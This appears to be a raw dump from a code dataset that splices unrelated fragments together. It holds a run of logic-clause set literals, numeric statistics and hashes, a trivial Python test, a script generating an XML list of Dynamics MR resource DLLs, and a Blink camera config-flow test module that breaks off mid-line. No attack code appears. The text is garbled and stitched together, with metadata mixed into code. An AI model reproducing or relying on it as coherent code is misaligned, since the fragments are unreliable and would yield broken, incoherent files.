p9, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p16, p17, p14, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p16, p17, not_p25, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p16, p17, p9, p21, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p14, p4, not_p22, not_p19} {p22, p12, p2, p3, not_p5, p14, p4, not_p22, not_p19} {not_p21, p12, p2, p3, not_p5, p14, p4, not_p22, not_p19} {p12, p2, p3, not_p12, not_p5, not_p8, p14, p4, not_p22} {p22, p12, p2, p3, not_p5, not_p8, p14, p4, not_p22} {not_p21, p12, p2, p3, not_p5, not_p8, p14, p4, not_p22} {p12, p2, p3, not_p12, not_p5, p6, p14, p4, not_p22} {p22, p12, p2, p3, not_p5, p6, p14, p4, not_p22} {not_p21, p12, p2, p3, not_p5, p6, p14, p4, not_p22} {p12, p2, p3, not_p12, not_p5, not_p3, p4, not_p22, not_p19} {p22, p12, p2, p3, not_p5, not_p3, p4, not_p22, not_p19} {not_p21, p12, p2, p3, not_p5, not_p3, p4, not_p22, not_p19} {p12, p2, p3, not_p12, not_p5, not_p25, p4, not_p22, not_p19} {p22, p12, p2, p3, not_p5, not_p25, p4, not_p22, not_p19} {not_p21, p12, p2, p3, not_p5, not_p25, p4, not_p22, not_p19} {p12, p2, p3, not_p12, not_p5, p9, p4, not_p22, not_p19} {p22, p12, p2, p3, not_p5, p9, p4, not_p22, not_p19} {not_p21, p12, p2, p3, not_p5, p9, p4, not_p22, not_p19} {p12, p2, p3, not_p12, not_p5, not_p8, not_p3, p4, not_p22} {p22, p12, p2, p3, not_p5, not_p8, not_p3, p4, not_p22} {not_p21, p12, p2, p3, not_p5, not_p8, not_p3, p4, not_p22} {p12, p2, p3, not_p12, not_p5, p6, not_p3, p4, not_p22} {p22, p12, p2, p3, not_p5, p6, not_p3, p4, not_p22} {not_p21, p12, p2, p3, not_p5, p6, not_p3, p4, not_p22} {p12, p2, p3, not_p12, not_p5, not_p8, not_p25, p4, not_p22} {p22, p12, p2, p3, not_p5, not_p8, not_p25, p4, not_p22} {not_p21, p12, p2, p3, not_p5, not_p8, not_p25, p4, not_p22} {p12, p2, p3, not_p12, not_p5, p6, not_p25, p4, not_p22} {p22, p12, p2, p3, not_p5, p6, not_p25, p4, not_p22} {not_p21, p12, p2, p3, not_p5, p6, not_p25, p4, not_p22} {p12, p2, p3, not_p12, not_p5, not_p8, p9, p4, not_p22} {p22, p12, p2, p3, not_p5, not_p8, p9, p4, not_p22} {not_p21, p12, p2, p3, not_p5, not_p8, p9, p4, not_p22} {p12, p2, p3, not_p12, not_p5, p6, p9, p4, not_p22} {p22, p12, p2, p3, not_p5, p6, p9, p4, not_p22} {not_p21, p12, p2, p3, not_p5, p6, p9, p4, not_p22} {p12, p2, not_p12, not_p5, p11, p14, not_p4, not_p22, not_p19} {p22, p12, p2, not_p5, p11, p14, not_p4, not_p22, not_p19} {not_p21, p12, p2, not_p5, p11, p14, not_p4, not_p22, not_p19} {p12, p2, not_p12, not_p5, p11, not_p8, p14, not_p4, not_p22} {p22, p12, p2, not_p5, p11, not_p8, p14, not_p4, not_p22} {not_p21, p12, p2, not_p5, p11, not_p8, p14, not_p4, not_p22} {p12, p2, not_p12, not_p5, p6, p11, p14, not_p4, not_p22} {p22, p12, p2, not_p5, p6, p11, p14, not_p4, not_p22} {not_p21, p12, p2, not_p5, p6, p11, p14, not_p4, not_p22} {p12, p2, not_p12, not_p5, p11, not_p3, not_p4, not_p22, not_p19} {p22, p12, p2, not_p5, p11, not_p3, not_p4, not_p22, not_p19} {not_p21, p12, p2, not_p5, p11, not_p3, not_p4, not_p22, not_p19} {p12, p2, not_p12, not_p5, p11, not_p25, not_p4, not_p22, not_p19} {p22, p12, p2, not_p5, p11, not_p25, not_p4, not_p22, not_p19} {not_p21, p12, p2, not_p5, p11, not_p25, not_p4, not_p22, not_p19} {p12, p2, not_p12, not_p5, p11, p9, not_p4, not_p22, not_p19} {p22, p12, p2, not_p5, p11, p9, not_p4, not_p22, not_p19} {not_p21, p12, p2, not_p5, p11, p9, not_p4, not_p22, not_p19} {p12, p2, not_p12, not_p5, p11, not_p8, not_p3, not_p4, not_p22} {p22, p12, p2, not_p5, p11, not_p8, not_p3, not_p4, not_p22} {not_p21, p12, p2, not_p5, p11, not_p8, not_p3, not_p4, not_p22} {p12, p2, not_p12, not_p5, p6, p11, not_p3, not_p4, not_p22} {p22, p12, p2, not_p5, p6, p11, not_p3, not_p4, not_p22} {not_p21, p12, p2, not_p5, p6, p11, not_p3, not_p4, not_p22} {p12, p2, not_p12, not_p5, p11, not_p8, not_p25, not_p4, not_p22} {p22, p12, p2, not_p5, p11, not_p8, not_p25, not_p4, not_p22} {not_p21, p12, p2, not_p5, p11, not_p8, not_p25, not_p4, not_p22} {p12, p2, not_p12, not_p5, p6, p11, not_p25, not_p4, not_p22} {p22, p12, p2, not_p5, p6, p11, not_p25, not_p4, not_p22} {not_p21, p12, p2, not_p5, p6, p11, not_p25, not_p4, not_p22} {p12, p2, not_p12, not_p5, p11, not_p8, p9, not_p4, not_p22} {p22, p12, p2, not_p5, p11, not_p8, p9, not_p4, not_p22} {not_p21, p12, p2, not_p5, p11, not_p8, p9, not_p4, not_p22} {p12, p2, not_p12, not_p5, p6, p11, p9, not_p4, not_p22} {p22, p12, p2, not_p5, p6, p11, p9, not_p4, not_p22} {not_p21, p12, p2, not_p5, p6, p11, p9, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, p14, not_p4, not_p22, not_p19} {p22, p12, p2, p3, not_p5, p16, p14, not_p4, not_p22, not_p19} {not_p21, p12, p2, p3, not_p5, p16, p14, not_p4, not_p22, not_p19} {p12, p2, p3, not_p12, not_p5, p16, not_p8, p14, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, not_p8, p14, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, not_p8, p14, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, p6, p14, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, p6, p14, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, p6, p14, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, not_p3, not_p4, not_p22, not_p19} {p22, p12, p2, p3, not_p5, p16, not_p3, not_p4, not_p22, not_p19} {not_p21, p12, p2, p3, not_p5, p16, not_p3, not_p4, not_p22, not_p19} {p12, p2, p3, not_p12, not_p5, p16, not_p25, not_p4, not_p22, not_p19} {p22, p12, p2, p3, not_p5, p16, not_p25, not_p4, not_p22, not_p19} {not_p21, p12, p2, p3, not_p5, p16, not_p25, not_p4, not_p22, not_p19} {p12, p2, p3, not_p12, not_p5, p16, p9, not_p4, not_p22, not_p19} {p22, p12, p2, p3, not_p5, p16, p9, not_p4, not_p22, not_p19} {not_p21, p12, p2, p3, not_p5, p16, p9, not_p4, not_p22, not_p19} {p12, p2, p3, not_p12, not_p5, p16, not_p8, not_p3, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, not_p8, not_p3, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, not_p8, not_p3, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, not_p8, not_p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, not_p8, not_p25, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, not_p8, not_p25, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, not_p8, p9, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, not_p8, p9, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, not_p8, p9, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, p6, not_p3, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, p6, not_p3, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, p6, not_p3, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, p6, not_p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, p6, not_p25, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, p6, not_p25, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, p6, p9, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, p6, p9, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, p6, p9, not_p4, not_p22} {p22, p2, p5, p11, not_p8, p14, p25, not_p4, not_p22} {p2, not_p12, p5, p11, not_p8, p14, p25, not_p4, not_p22, not_p19} {not_p21, p2, p5, p11, not_p8, p14, p25, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p5, p11, not_p8, p14, p25, not_p4, not_p22} {not_p21, p2, not_p5, p5, p11, not_p8, p14, p25, not_p4, not_p22} {p2, not_p12, not_p5, p11, not_p8, not_p3, p25, not_p4, not_p22} {p22, p2, not_p5, p11, not_p8, not_p3, p25, not_p4, not_p22} {not_p21, p2, not_p5, p11, not_p8, not_p3, p25, not_p4, not_p22} {p2, not_p12, not_p5, p11, not_p8, p14, p21, p25, not_p4, not_p22} {p22, p2, not_p5, p11, not_p8, p14, p21, p25, not_p4, not_p22} {not_p21, p2, not_p5, p11, not_p8, p14, p21, p25, not_p4, not_p22} {p2, not_p12, not_p5, p11, not_p20, not_p8, p14, p25, not_p4, not_p22} {p22, p2, not_p5, p11, not_p20, not_p8, p14, p25, not_p4, not_p22} {not_p21, p2, not_p5, p11, not_p20, not_p8, p14, p25, not_p4, not_p22} {p2, not_p12, not_p5, p11, not_p8, not_p25, p25, not_p4, not_p22} {p22, p2, not_p5, p11, not_p8, not_p25, p25, not_p4, not_p22} {not_p21, p2, not_p5, p11, not_p8, not_p25, p25, not_p4, not_p22} {p2, not_p12, not_p5, p11, not_p8, p9, p25, not_p4, not_p22} {p22, p2, not_p5, p11, not_p8, p9, p25, not_p4, not_p22} {not_p21, p2, not_p5, p11, not_p8, p9, p25, not_p4, not_p22} {p2, p3, not_p12, p5, p16, not_p8, p14, p25, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p16, not_p8, p14, p25, not_p4, not_p22, not_p19} {p2, p3, not_p12, p5, not_p8, p14, p25, p4, not_p22, not_p19} {not_p21, p2, p3, p5, not_p8, p14, p25, p4, not_p22, not_p19} {p22, p2, p3, p5, p16, not_p8, p14, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p16, not_p8, p14, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p16, not_p8, p14, p25, not_p4, not_p22} {p22, p2, p3, p5, not_p8, p14, p25, p4, not_p22} {p2, p3, not_p12, not_p5, p5, not_p8, p14, p25, p4, not_p22} {not_p21, p2, p3, not_p5, p5, not_p8, p14, p25, p4, not_p22} {p2, p3, not_p12, not_p5, p16, not_p8, not_p3, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, not_p8, not_p3, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, not_p8, not_p3, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, not_p8, p14, p21, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, not_p8, p14, p21, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, not_p8, p14, p21, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, not_p20, not_p8, p14, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, not_p20, not_p8, p14, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, not_p20, not_p8, p14, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, not_p8, not_p25, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, not_p8, not_p25, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, not_p8, not_p25, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, not_p8, p9, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, not_p8, p9, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, not_p8, p9, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, not_p8, not_p3, p25, p4, not_p22} {p22, p2, p3, not_p5, not_p8, not_p3, p25, p4, not_p22} {not_p21, p2, p3, not_p5, not_p8, not_p3, p25, p4, not_p22} {p2, p3, not_p12, not_p5, not_p8, p14, p21, p25, p4, not_p22} {p22, p2, p3, not_p5, not_p8, p14, p21, p25, p4, not_p22} {not_p21, p2, p3, not_p5, not_p8, p14, p21, p25, p4, not_p22} {p2, p3, not_p12, not_p5, not_p20, not_p8, p14, p25, p4, not_p22} {p22, p2, p3, not_p5, not_p20, not_p8, p14, p25, p4, not_p22} {not_p21, p2, p3, not_p5, not_p20, not_p8, p14, p25, p4, not_p22} {p2, p3, not_p12, not_p5, not_p8, not_p25, p25, p4, not_p22} {p22, p2, p3, not_p5, not_p8, not_p25, p25, p4, not_p22} {not_p21, p2, p3, not_p5, not_p8, not_p25, p25, p4, not_p22} {p2, p3, not_p12, not_p5, not_p8, p9, p25, p4, not_p22} {p22, p2, p3, not_p5, not_p8, p9, p25, p4, not_p22} {not_p21, p2, p3, not_p5, not_p8, p9, p25, p4, not_p22} """
60.017091
80
0.659841
41,677
186,113
2.671066
0.000672
0.113006
0.095435
0.071244
0.993523
0.992041
0.989499
0.984918
0.97068
0.937497
0
0.298659
0.161418
186,113
3,100
81
60.036452
0.414619
0
0
0.000645
0
0.629355
0.999833
0.004621
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
5a1aa347f91a580f0be0ebb94a4dc35e4e43fab2
105
py
Python
test/test_travis.py
hrpzcf/easygui
1f7911676857f21c7c8bdad5662b8889636088b8
[ "BSD-3-Clause" ]
null
null
null
test/test_travis.py
hrpzcf/easygui
1f7911676857f21c7c8bdad5662b8889636088b8
[ "BSD-3-Clause" ]
null
null
null
test/test_travis.py
hrpzcf/easygui
1f7911676857f21c7c8bdad5662b8889636088b8
[ "BSD-3-Clause" ]
null
null
null
def test_always_passes(): assert True # @staticmethod # def test_always_fails(): # assert False
15
26
0.704762
13
105
5.384615
0.692308
0.2
0.371429
0
0
0
0
0
0
0
0
0
0.2
105
6
27
17.5
0.833333
0.52381
0
0
0
0
0
0
0
0
0
0
0.5
1
0.5
true
0.5
0
0
0.5
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
1
1
0
0
0
0
0
7
5a5ca0bfc09421e5e31efb630a61947c1b02e761
7,890
py
Python
CreateEOL4MR.py
judysu1983/PythonMBSi
9481bf1409a888c3f8511bcd05718ea81a063fa1
[ "bzip2-1.0.6" ]
null
null
null
CreateEOL4MR.py
judysu1983/PythonMBSi
9481bf1409a888c3f8511bcd05718ea81a063fa1
[ "bzip2-1.0.6" ]
null
null
null
CreateEOL4MR.py
judysu1983/PythonMBSi
9481bf1409a888c3f8511bcd05718ea81a063fa1
[ "bzip2-1.0.6" ]
null
null
null
import xml.etree.ElementTree as ETXML import xml.etree.ElementTree as Element import xml.etree.ElementTree as etree import os ##fullfilename=["BusinessProcess.en-US.label.txt", "BusinessProcess.en-US.label.txt"] ##BaseName=["BusinessProcess","testBasename"] ##ExtensionName="label.txt" ##TargetLclLocation= ["BusinessProcess\BusinessProcess\AxLabelFile\LabelResources","test2"] #fullfilename=["PersonnelCore.en-US.label.txt", "HcmPeopleNavigatorControl.en-US.label.txt", "HcmPersonCard.en-US.label.txt", "TaxEngineConfiguration.en-US.label.txt", "TaxEngine.en-US.label.txt", "TaxEngineInterface.en-US.label.txt", "TaxSettlement.en-US.label.txt", "GetStarted.en-US.label.txt", "SysBasicUpgrade.en-US.label.txt"] fullfilename=["Microsoft.Dynamics.Performance.Common.resources.dll", "Microsoft.Dynamics.Performance.WizardFramework.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Common.resources.dll", "Microsoft.Dynamics.Performance.Deployment.CompanyImport.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Console.Core.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Database.resources.dll", "Microsoft.Dynamics.Performance.Deployment.DataProvider.AX.resources.dll", "Microsoft.Dynamics.Performance.Deployment.DataProvider.DataMart.resources.dll", "Microsoft.Dynamics.Performance.Deployment.DataProvider.GP.resources.dll", "Microsoft.Dynamics.Performance.Calculation.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Reporting.resources.dll", "MRConfigurationConsole.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Commands.ApplicationService.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Commands.AX.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Commands.Database.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Commands.Integration.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Commands.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Commands.Service.resources.dll", "Microsoft.Dynamics.Performance.DataProvider.Core.resources.dll", "Microsoft.Dynamics.Performance.DataProvider.GeneralLedger.AX.resources.dll", "Microsoft.Dynamics.Performance.DataProvider.GeneralLedger.DDM.resources.dll", "Microsoft.Dynamics.Performance.DataProvider.GeneralLedger.resources.dll", "Microsoft.Dynamics.Performance.DataProvider.Navigation.AX6.resources.dll", "Microsoft.Dynamics.Performance.DataProvider.Office.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Engine.Common.resources.dll", "Microsoft.Dynamics.Performance.Reporting.NativeReport.Server.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Resources.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Security.Client.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Security.Common.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Viewer.Common.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Viewer.Pipelines.Native.resources.dll", "MigrationWizard.resources.dll", "ReportDesigner.resources.dll", "ReportViewer.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Common.resources.dll", "Microsoft.Dynamics.Performance.Reporting.DataAccess.Client.resources.dll", "Microsoft.Dynamics.Performance.Reporting.DataAccess.Service.resources.dll", "Microsoft.Dynamics.Performance.Reporting.DataAccess.Server.resources.dll", "Microsoft.Dynamics.Performance.Reporting.DataProvider.Client.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Migration.resources.dll", "Microsoft.Dynamics.Performance.Reporting.NativeReport.Client.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Repository.Client.resources.dll", "Microsoft.Dynamics.Performance.Reporting.Repository.Common.resources.dll", "Microsoft.Dynamics.Performance.Deployment.CompanyConfiguration.resources.dll", "Microsoft.Dynamics.Performance.Integration.Message.resources.dll", "Microsoft.Dynamics.Performance.Deployment.Connector.resources.dll", "Microsoft.Dynamics.Performance.Platform.Client.Cloud.resources.dll", "FinancialReportingDeployer.resources.dll", "ClientStrings.wxl", "CommonStrings.wxl", "MigrationWizardStrings.wxl", "MRLaunch.resources.dll", "ServerStrings.wxl", "Strings.wxl", "WixExtensionStrings.wxl"] sourcelocation="[MRBuildRoot]\[MRBuild]\Loc\EN-US" BaseName=["Microsoft.Dynamics.Performance.Common", "Microsoft.Dynamics.Performance.WizardFramework", "Microsoft.Dynamics.Performance.Deployment.Common", "Microsoft.Dynamics.Performance.Deployment.CompanyImport", "Microsoft.Dynamics.Performance.Deployment.Console.Core", "Microsoft.Dynamics.Performance.Deployment.Database", "Microsoft.Dynamics.Performance.Deployment.DataProvider.AX", "Microsoft.Dynamics.Performance.Deployment.DataProvider.DataMart", "Microsoft.Dynamics.Performance.Deployment.DataProvider.GP", "Microsoft.Dynamics.Performance.Calculation", "Microsoft.Dynamics.Performance.Deployment.Reporting", "MRConfigurationConsole", "Microsoft.Dynamics.Performance.Deployment.Commands.ApplicationService", "Microsoft.Dynamics.Performance.Deployment.Commands.AX", "Microsoft.Dynamics.Performance.Deployment.Commands.Database", "Microsoft.Dynamics.Performance.Deployment.Commands.Integration", "Microsoft.Dynamics.Performance.Deployment.Commands", "Microsoft.Dynamics.Performance.Deployment.Commands.Service", "Microsoft.Dynamics.Performance.DataProvider.Core", "Microsoft.Dynamics.Performance.DataProvider.GeneralLedger.AX", "Microsoft.Dynamics.Performance.DataProvider.GeneralLedger.DDM", "Microsoft.Dynamics.Performance.DataProvider.GeneralLedger", "Microsoft.Dynamics.Performance.DataProvider.Navigation.AX6", "Microsoft.Dynamics.Performance.DataProvider.Office", "Microsoft.Dynamics.Performance.Reporting.Engine.Common", "Microsoft.Dynamics.Performance.Reporting.NativeReport.Server", "Microsoft.Dynamics.Performance.Reporting.Resources", "Microsoft.Dynamics.Performance.Reporting.Security.Client", "Microsoft.Dynamics.Performance.Reporting.Security.Common", "Microsoft.Dynamics.Performance.Reporting.Viewer.Common", "Microsoft.Dynamics.Performance.Reporting.Viewer.Pipelines.Native", "MigrationWizard", "ReportDesigner", "ReportViewer", "Microsoft.Dynamics.Performance.Reporting.Common", "Microsoft.Dynamics.Performance.Reporting.DataAccess.Client", "Microsoft.Dynamics.Performance.Reporting.DataAccess.Service", "Microsoft.Dynamics.Performance.Reporting.DataAccess.Server", "Microsoft.Dynamics.Performance.Reporting.DataProvider.Client", "Microsoft.Dynamics.Performance.Reporting.Migration", "Microsoft.Dynamics.Performance.Reporting.NativeReport.Client", "Microsoft.Dynamics.Performance.Reporting.Repository.Client", "Microsoft.Dynamics.Performance.Reporting.Repository.Common", "Microsoft.Dynamics.Performance.Deployment.CompanyConfiguration", "Microsoft.Dynamics.Performance.Integration.Message", "Microsoft.Dynamics.Performance.Deployment.Connector", "Microsoft.Dynamics.Performance.Platform.Client.Cloud", "FinancialReportingDeployer", "ClientStrings", "CommonStrings", "MigrationWizardStrings", "MRLaunch", "ServerStrings", "Strings", "WixExtensionStrings"] ExtensionName="resources.dll" TargetLclLocation= "MR-Localization" root=ETXML.Element('EOL') for i in range(0,55): sub=ETXML.SubElement(root, "File", name=fullfilename[i], parser="[parser.Managed]") #ETXML.SubElement(sub, "File", name="BusinessProcess.en-US.label.txt" parser="[parser.Txt]" noType="Comments").text='\n' #ETXML.SubElement(sub, "File", name=fullfilename, parser="[parser.Txt]", noType="Comments").text = "\n" ETXML.SubElement(sub, "Var", name="File.SourceBinary").text = sourcelocation ETXML.SubElement(sub, "Var", name="File.BaseName").text = BaseName[i] ETXML.SubElement(sub, "Var", name="File.ExtensionName").text = ExtensionName ETXML.SubElement(sub, "Var", name="File.TargetLclLocation").text = TargetLclLocation rootWrite=ETXML.ElementTree(root) rootWrite.write('MRFile.xml')
246.5625
3,490
0.826996
805
7,890
8.10559
0.142857
0.224061
0.369042
0.186667
0.776092
0.616092
0.289962
0.054559
0.015939
0.015939
0
0.000785
0.031812
7,890
31
3,491
254.516129
0.853384
0.10038
0
0
0
0
0.847222
0.80513
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
1
0
0
0
0
8
5a654c10300da10305f288fcb2174577c06d0fd1
10,472
py
Python
tests/components/blink/test_config_flow.py
pcaston/core
e74d946cef7a9d4e232ae9e0ba150d18018cfe33
[ "Apache-2.0" ]
1
2021-07-08T20:09:55.000Z
2021-07-08T20:09:55.000Z
tests/components/blink/test_config_flow.py
pcaston/core
e74d946cef7a9d4e232ae9e0ba150d18018cfe33
[ "Apache-2.0" ]
47
2021-02-21T23:43:07.000Z
2022-03-31T06:07:10.000Z
tests/components/blink/test_config_flow.py
OpenPeerPower/core
f673dfac9f2d0c48fa30af37b0a99df9dd6640ee
[ "Apache-2.0" ]
null
null
null
"""Test the Blink config flow.""" from unittest.mock import Mock, patch from blinkpy.auth import LoginError from blinkpy.blinkpy import BlinkSetupError from openpeerpower import config_entries, data_entry_flow, setup from openpeerpower.components.blink import DOMAIN from tests.common import MockConfigEntry async def test_form(opp): """Test we get the form.""" await setup.async_setup_component(opp, "persistent_notification", {}) result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) assert result["type"] == "form" assert result["errors"] == {} with patch("openpeerpower.components.blink.config_flow.Auth.startup"), patch( "openpeerpower.components.blink.config_flow.Auth.check_key_required", return_value=False, ), patch( "openpeerpower.components.blink.async_setup_entry", return_value=True, ) as mock_setup_entry: result2 = await opp.config_entries.flow.async_configure( result["flow_id"], {"username": "blink@example.com", "password": "example"}, ) await opp.async_block_till_done() assert result2["type"] == "create_entry" assert result2["title"] == "blink" assert result2["result"].unique_id == "blink@example.com" assert result2["data"] == { "username": "blink@example.com", "password": "example", "device_id": "Open Peer Power", "token": None, "host": None, "account_id": None, "client_id": None, "region_id": None, } assert len(mock_setup_entry.mock_calls) == 1 async def test_form_2fa(opp): """Test we get the 2fa form.""" await setup.async_setup_component(opp, "persistent_notification", {}) result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) with patch("openpeerpower.components.blink.config_flow.Auth.startup"), patch( "openpeerpower.components.blink.config_flow.Auth.check_key_required", return_value=True, ): result2 = await opp.config_entries.flow.async_configure( result["flow_id"], {"username": "blink@example.com", "password": "example"}, ) assert result2["type"] == "form" assert result2["step_id"] == "2fa" with patch("openpeerpower.components.blink.config_flow.Auth.startup"), patch( "openpeerpower.components.blink.config_flow.Auth.check_key_required", return_value=False, ), patch( "openpeerpower.components.blink.config_flow.Auth.send_auth_key", return_value=True, ), patch( "openpeerpower.components.blink.config_flow.Blink.setup_urls", return_value=True, ), patch( "openpeerpower.components.blink.async_setup_entry", return_value=True ) as mock_setup_entry: result3 = await opp.config_entries.flow.async_configure( result2["flow_id"], {"pin": "1234"} ) await opp.async_block_till_done() assert result3["type"] == "create_entry" assert result3["title"] == "blink" assert result3["result"].unique_id == "blink@example.com" assert len(mock_setup_entry.mock_calls) == 1 async def test_form_2fa_connect_error(opp): """Test we report a connect error during 2fa setup.""" await setup.async_setup_component(opp, "persistent_notification", {}) result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) with patch("openpeerpower.components.blink.config_flow.Auth.startup"), patch( "openpeerpower.components.blink.config_flow.Auth.check_key_required", return_value=True, ): result2 = await opp.config_entries.flow.async_configure( result["flow_id"], {"username": "blink@example.com", "password": "example"}, ) assert result2["type"] == "form" assert result2["step_id"] == "2fa" with patch("openpeerpower.components.blink.config_flow.Auth.startup"), patch( "openpeerpower.components.blink.config_flow.Auth.check_key_required", return_value=False, ), patch( "openpeerpower.components.blink.config_flow.Auth.send_auth_key", return_value=True, ), patch( "openpeerpower.components.blink.config_flow.Blink.setup_urls", side_effect=BlinkSetupError, ), patch( "openpeerpower.components.blink.async_setup_entry", return_value=True ): result3 = await opp.config_entries.flow.async_configure( result2["flow_id"], {"pin": "1234"} ) assert result3["type"] == "form" assert result3["errors"] == {"base": "cannot_connect"} async def test_form_2fa_invalid_key(opp): """Test we report an error if key is invalid.""" await setup.async_setup_component(opp, "persistent_notification", {}) result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) with patch("openpeerpower.components.blink.config_flow.Auth.startup"), patch( "openpeerpower.components.blink.config_flow.Auth.check_key_required", return_value=True, ): result2 = await opp.config_entries.flow.async_configure( result["flow_id"], {"username": "blink@example.com", "password": "example"}, ) assert result2["type"] == "form" assert result2["step_id"] == "2fa" with patch("openpeerpower.components.blink.config_flow.Auth.startup",), patch( "openpeerpower.components.blink.config_flow.Auth.check_key_required", return_value=False, ), patch( "openpeerpower.components.blink.config_flow.Auth.send_auth_key", return_value=False, ), patch( "openpeerpower.components.blink.config_flow.Blink.setup_urls", return_value=True, ), patch( "openpeerpower.components.blink.async_setup_entry", return_value=True ): result3 = await opp.config_entries.flow.async_configure( result2["flow_id"], {"pin": "1234"} ) assert result3["type"] == "form" assert result3["errors"] == {"base": "invalid_access_token"} async def test_form_2fa_unknown_error(opp): """Test we report an unknown error during 2fa setup.""" await setup.async_setup_component(opp, "persistent_notification", {}) result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) with patch("openpeerpower.components.blink.config_flow.Auth.startup"), patch( "openpeerpower.components.blink.config_flow.Auth.check_key_required", return_value=True, ): result2 = await opp.config_entries.flow.async_configure( result["flow_id"], {"username": "blink@example.com", "password": "example"}, ) assert result2["type"] == "form" assert result2["step_id"] == "2fa" with patch("openpeerpower.components.blink.config_flow.Auth.startup"), patch( "openpeerpower.components.blink.config_flow.Auth.check_key_required", return_value=False, ), patch( "openpeerpower.components.blink.config_flow.Auth.send_auth_key", return_value=True, ), patch( "openpeerpower.components.blink.config_flow.Blink.setup_urls", side_effect=KeyError, ), patch( "openpeerpower.components.blink.async_setup_entry", return_value=True ): result3 = await opp.config_entries.flow.async_configure( result2["flow_id"], {"pin": "1234"} ) assert result3["type"] == "form" assert result3["errors"] == {"base": "unknown"} async def test_form_invalid_auth(opp): """Test we handle invalid auth.""" result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) with patch( "openpeerpower.components.blink.config_flow.Auth.startup", side_effect=LoginError, ): result2 = await opp.config_entries.flow.async_configure( result["flow_id"], {"username": "blink@example.com", "password": "example"} ) assert result2["type"] == "form" assert result2["errors"] == {"base": "invalid_auth"} async def test_form_unknown_error(opp): """Test we handle unknown error at startup.""" result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) with patch( "openpeerpower.components.blink.config_flow.Auth.startup", side_effect=KeyError, ): result2 = await 